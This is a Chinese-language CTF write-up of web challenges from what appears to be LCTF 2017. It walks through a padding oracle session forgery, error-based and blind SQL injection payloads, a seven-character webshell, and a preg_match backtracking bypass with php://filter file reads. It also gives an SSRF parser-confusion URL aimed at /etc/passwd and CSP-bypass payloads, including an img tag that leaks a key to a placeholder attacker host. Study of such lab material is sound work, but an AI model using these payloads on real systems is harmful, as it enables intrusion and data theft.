简单整理下web部分的writeup以及做题思路。历史总是惊人的相似。。。

7CB5926A-419D-4943-BA03-D8B8A61A5E77.png

话说求个二进制队友组个业余队打打ctf啊。

Simple Blog

扫到了.admin.php.swp,恢复了以后发现存在php格式化字符串问题导致的注入,可参考从WordPress SQLi谈PHP格式化字符串问题。不过前提是要有admin的session,当前的条件还不太够。

1E64499E-76CE-4EB4-9BD6-B6296A5B1F28.png

于是手工尝试.login.php.swp,发现也存在泄露。

DABAAA32-A0D1-4BEF-B483-0E00F1BD95E1.png

可以用padding oracle attack攻击让session为1。
这里有个坑就是由于只有一个分组,只能跑出后15位,第一位需要爆破。(因为当只有一个分组的时候是不存在16位都padding成0x10的情况的)

"他们"有什么秘密呢?

典型的赛棍题。。。

以下这一堆函数可以利用报错爆出当前列、当前表、当前数据库。

multiPolygon(id) multilinestring(id) linestring(id) GeometryCollection(id) MultiPoint(id) polugon(id)

下面这种方法能够依次爆破出当前表下的所有列。

union select * from (select * from product_2017ctf as A join product_2017ctf as B using(pro_id)) as C

然后可以利用排序注入在表名被过滤的情况下盲注出数据。

得到第二个入口以后考察的是七字符webshell。参考https://nandynarwhals.org/32c3-tinyhosting/,还有现成的脚本可以用。

萌萌哒报名系统

扫到了 /.idea/workspace.xml。这个文件会把phpstorm项目里的所有文件信息记录进去。然后发现了xdcms2333.zip。
关键点是在register.php

<?php
include('config.php');
try{
    $pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
}catch (Exception $e){
    die('mysql connected error');
}
$admin = "xdsec"."###".str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag');
$username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
$password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');
$code = (isset($_POST['code']) === true) ? (string)$_POST['code'] : '';
if (strlen($username) > 16 || strlen($username) > 16) {
    die('Invalid input');
}
$sth = $pdo->prepare('SELECT username FROM users WHERE username = :username');
$sth->execute([':username' => $username]);
if ($sth->fetch() !== false) {
    die('username has been registered');
}
$sth = $pdo->prepare('INSERT INTO users (username, password) VALUES (:username, :password)');
$sth->execute([':username' => $username, ':password' => $password]);
preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches);
if (count($matches) === 3 && $admin === $matches[0]) {
    $sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, :identity)');
    $sth->execute([':username' => $username, ':identity' => $matches[1]]);
} else {
    $sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, "GUEST")');
    $sth->execute([':username' => $username]);
}
echo '<script>alert("register success");location.href="./index.html"</script>';

初略看了一下逻辑,显然预测随机数不是好的办法。
我一开始的想法是preg_match那里的正则可能有redos,然后去竞争dos的时间。不过看了下正则发现复杂度是线性的,应该是没办法造成redos。

有缺陷的正则表达式会一般包含如下部分:

(a+)+
([a-zA-Z]+)*
(a|aa)+
(a|a?)+
(.*a){x} | for x > 10

后来fuzz出了preg_match的bug,xdsec(xxx...无数个x)这种形式可以让preg_match炸掉。

后面就是php://filter读文件了,flag在config.php里面。

官方的解释是这样的,感觉还是没有说明问题的本质,有空研究一下吧。

其实正解是通过pre_match函数的资源消耗来绕过,因为pre_match在匹配的时候会消耗较大的资源,并且默认存在贪婪匹配,所以通过喂一个超长的字符串去给pre_match吃,导致pre_match消耗大量资源从而导致php超时,后面的php语句就不会执行。

签到题

考察的是ssrf。考点是curl的时候file://xxx/etc/passwd不管xxx是啥都是读本地的文件。

我用的是blackhat议题里的方法,原理是php curl和parse_url解析得到的host不一致。
33BA49FC-E039-4F0A-87CB-E1B24AC26710.png

http://xx@evilhost:80@www.baidu.com

坑点在于后端代码会给我们提交的url内容在最后加一个/,需要通过?或者#的方法截断。。。题目放的也比较晚了,一开始还以为是姿势不对,也没发现这个坑导致没做出来。

php里面还有其它相似的问题,都是不错的考点。
90AF0D1A-72A0-4857-94F5-8A7EADC2200D.png
ADBD07CA-F059-41F9-AD45-3C33AD312632.png

wanna hack him?

解法一:
利用chrome60的bug

<img src='http://yourhost/?key=

解法二:
简单fuzz以后可以发现这题的nonce是根据session生成的,如果session不变nonce也是不变的。
所以可以利用meta标签来给bot设置session,这样bot的nonce就等于本地的nonce了。还是自己思考的太浅了。

<meta http-equiv="Set-Cookie" content="PHPSESSID=yoursession; path=/">

官方wp&源码

https://github.com/LCTF/LCTF2017/